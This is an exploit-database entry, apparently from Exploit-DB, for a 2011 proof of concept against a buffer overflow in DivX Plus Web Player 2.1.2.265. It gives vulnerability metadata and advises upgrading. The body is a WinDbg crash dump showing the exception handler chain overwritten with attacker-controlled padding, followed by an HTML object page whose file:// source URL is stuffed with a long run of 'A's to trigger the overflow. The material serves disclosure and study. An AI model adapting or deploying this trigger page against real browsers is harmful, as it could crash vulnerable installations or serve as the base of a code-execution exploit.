DivX Plus Web Player "file://" Buffer Overflow Vulnerability PoC ( 0day )

vendor:

DivX Plus Web Player

by:

Snake (Shahriyar.j)

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: DivX Plus Web Player

Affected Version From: 2.1.2.265

Affected Version To: 2.1.2.265

Patch Exists: YES

Related CWE: Not Assigned Yet

CPE: a:divx:divx_plus_web_player

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: XP SP3, IE6

2011

DivX Plus Web Player “file://” Buffer Overflow Vulnerability PoC ( 0day )

This is a proof-of-concept exploit for a buffer overflow vulnerability in DivX Plus Web Player version 2.1.2.265 and earlier. The bug is triggered when a maliciously crafted file:// URL is passed to the vulnerable application. This can lead to arbitrary code execution.

Mitigation:

Upgrade to the latest version of DivX Plus Web Player

Source

Exploit-DB raw data:

# Exploit Title: DivX Plus Web Player "file://" Buffer Overflow Vulnerability PoC ( 0day )
# Date: 10/4/2011
# Author: Snake ( Shahriyar.j < at > gmail )
# Version: DivX Plus Web Player <= 2.1.2.265
# Tested on: XP SP3 , IE6
# CVE : Not Assigned Yet
# Ref : http://dl.packetstormsecurity.net/1109-advisories/sa45550.txt
 
This is PoC I wrote for our free BA service in 0days.ir.
bug seems simply exploitable ;)


(ce8.ca8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000007b5 ebx=04634f9e ecx=0000062a edx=0000062b esi=00000041 edi=049ff3ac
eip=03d6c62d esp=049ff35c ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
DivXPlaybackModule+0x3c62d:
03d6c62d 6689344f        mov     word ptr [edi+ecx*2],si  ds:0023:04a00000=5a4d
0:010> dd esp
049ff35c  045e56d4 00000000 03d6c8e3 049ffbfc
049ff36c  045e56d0 04634f9e 001f5980 00000000
049ff37c  001eb9e0 00000000 001c5258 00000008
049ff38c  00150178 ffffffff 7c91003d 001c5260
049ff39c  00150000 001ead30 7c8099fd 00000000
049ff3ac  0046002f 002f003a 00410041 00410041
049ff3bc  00410041 00410041 00410041 00410041
049ff3cc  00410041 00410041 00410041 00410041
0:010> dd
049ff3dc  00410041 00410041 00410041 00410041
049ff3ec  00410041 00410041 00410041 00410041
049ff3fc  00410041 00410041 00410041 00410041
049ff40c  00410041 00410041 00410041 00410041
049ff41c  00410041 00410041 00410041 00410041
049ff42c  00410041 00410041 00410041 00410041
049ff43c  00410041 00410041 00410041 00410041
049ff44c  00410041 00410041 00410041 00410041
0:010> !exchain
049ffd9c: iexplore!DllGetLCID+dca7 (00410041)
Invalid exception stack at 00410041

also 
check here for free Persian BA :
http://www.0days.ir/article/

-have fun
twitter.com/ponez

<object classid="clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616" width="500" height="245" codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab">
  <param name="custommode" value="none" />
  <param name="previewImage" value="Test" />
  <param name="autoPlay" value="true" />
  <param name="src" value="file:///F:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.mkv" />
<embed type="video/divx" src="file:///F:/.mkv" custommode="none" width="500" height="245" autoPlay="true" previewImage="Test" pluginspage="http://go.divx.com/plugin/download/">
</embed>
</object>